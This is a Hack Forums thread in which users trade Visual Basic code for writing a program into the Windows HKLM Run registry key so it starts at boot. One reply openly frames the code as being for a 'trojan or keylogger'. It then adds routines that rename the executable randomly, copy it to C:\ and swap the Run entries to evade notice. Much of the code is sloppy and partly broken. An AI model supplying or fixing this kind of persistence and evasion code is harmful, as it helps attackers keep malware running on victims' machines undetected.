Hack Forums

Full Version: VB Regisrty Startup Help.
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Here is what I got errors in for the module.

Code:
Module Module1
    Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
    Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, ByVal phkResult As Long) As Long
    Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String) As Long
    Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal Hkey As Long, ByVal lpValueName As String) As Long
    Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, ByVal phkResult As Long) As Long
    Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, ByVal lpType As Long, ByVal lpData As Any, ByVal lpcbData As Long) As Long
    Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal reserved As Long, ByVal dwType As Long, ByVal lpData As Any, ByVal cbData As Long) As Long
    Public Const REG_SZ = 1 ' Unicode nul terminated String
    Public Const REG_DWORD = 4 ' 32-bit number
    Public Const HKEY_CLASSES_ROOT = &H80000000
    Public Const HKEY_CURRENT_USER = &H80000001
    Public Const HKEY_LOCAL_MACHINE = &H80000002
    Public Const HKEY_USERS = &H80000003
    Public Const HKEY_PERFORMANCE_DATA = &H80000004
    Public Const ERROR_SUCCESS = 0&

    Public Sub SaveString(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String, ByVal strdata As String)
        Dim keyhand As Long
        Dim r As Long
        r = RegCreateKey(Hkey, strPath, keyhand)
   r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
        r = RegCloseKey(keyhand)
    End Sub
End Module

Error with ByVal is Expression Expected. Any suggestions?

And for Form1.

Code:
SaveString(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", _
            App.ExeName, App.Path & "\" & App.ExeName & ".exe")

The error for the apps is Name App is not declared. Any suggestions?

All help is appreciated.
where did u get it????????
you declared the function parameters, but never used. i did a tutorial somewhere to help make function calls. try to read it

to set regkeys you only need regopenkey and setvalueex. the function is like this:

u create a vb regkey, means a internal long value that is a regkey, but dont put it in the regedit, u hav to threat the execptions that might appear. if the long value isnt 0, means that an error happens, the number u dont have to know. if is 0, you open the regkey and set the value. after saving your key, close the regkey, like saving data in a database.
[/code]
Code:
Function SetBootRegKey(ByVal hKey As Long, _
ByVal MinorKey As String, _
ByVal strKeyValue As String, _
ByVal subkey As String)

Dim hregkey As Long, stringbuffer As String
Dim retval As Long

retval = RegOpenKeyEx(hKey, subkey, 0, _
KEY_WRITE, hregkey)

If retval <> 0 Then
   Exit Function
End If
stringbuffer = strKeyValue & vbNullChar
retval = RegSetValueEx(hregkey, MinorKey, 0, REG_SZ, _
ByVal stringbuffer, Len(stringbuffer))

RegCloseKey hregkey

End Function
and yes, i copied this from one that i did.Thumbsup
my god i forgot to say something. sorry about the double post. If u a making somekind of trojan or keylogger, and put this code in you app, ull get a windows error, because when the PC starts, your app ill set the regs again and since the regs already exists, ull get an error and the app crashes. u try to figure out what to do.Tongue
I'll have to find a way to save it as a random registry name. Any suggestions?
or check if the values exist
random name??? i just figure out what u want...
first , the name cant be change if the app is running, there is 2 options:

copy rename and delete the old one
wait until close rename, reference another app, open the new app and rename the old

i suggest the first one that is easier.

the code in vb6(im using the function that i posted in my previous post)

Code:
private function MakeRandom() as string
randomize
dim StrName(1 to 7) as String
dim UcaseBuffer as integer

dim i as integer
for i=1 to 7
   UcaseBuffer=cint(rnd()*2)
   if UcaseBuffer=1 then
       StrName(i)=ucase(asc(cint(rnd()*15)+65))
   else
       StrName(i)=ucase(asc(cint(rnd()*15)+65))
   end if
next

for i=0 to 7
MakeRandom=MakeRandom+StrName(i)
next

end function
i did this in the browser, so there might be errors. this function generates a random name when is called. in your random condition:
Code:
dim a as string
a=getsetting("alalal","alalal","delete_old",false)
if a<>false then
  kill app.path + "\"+ a + ".exe"
end if

if condition then
dim S as string
s= MakeRandom
    Call SetBootRegKey(HKEY_LOCAL_MACHINE, _
    s, _
    "C:\" & s & ".exe", _
    "Software\Microsoft\Windows\CurrentVersion\Run\")
    FileCopy App.Path & "\" & s & ".exe", "C:\" & s & ".exe"

    Call SetBootRegKey(HKEY_LOCAL_MACHINE, _
    old reg, _
    "", _
    "Software\Microsoft\Windows\CurrentVersion\Run\")
  
copy FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\" & s & ".exe"
savesetting "alalal","alalal","delete_old",app.EXEname
end condition
put this in the condition to change the name of the file. this ill save a record to the next time it boots deletes the old one and clear the old reg. the name u have to store in another reg. this should work fine. it ill make your app change to a random name evrytime you want to
Reference URL's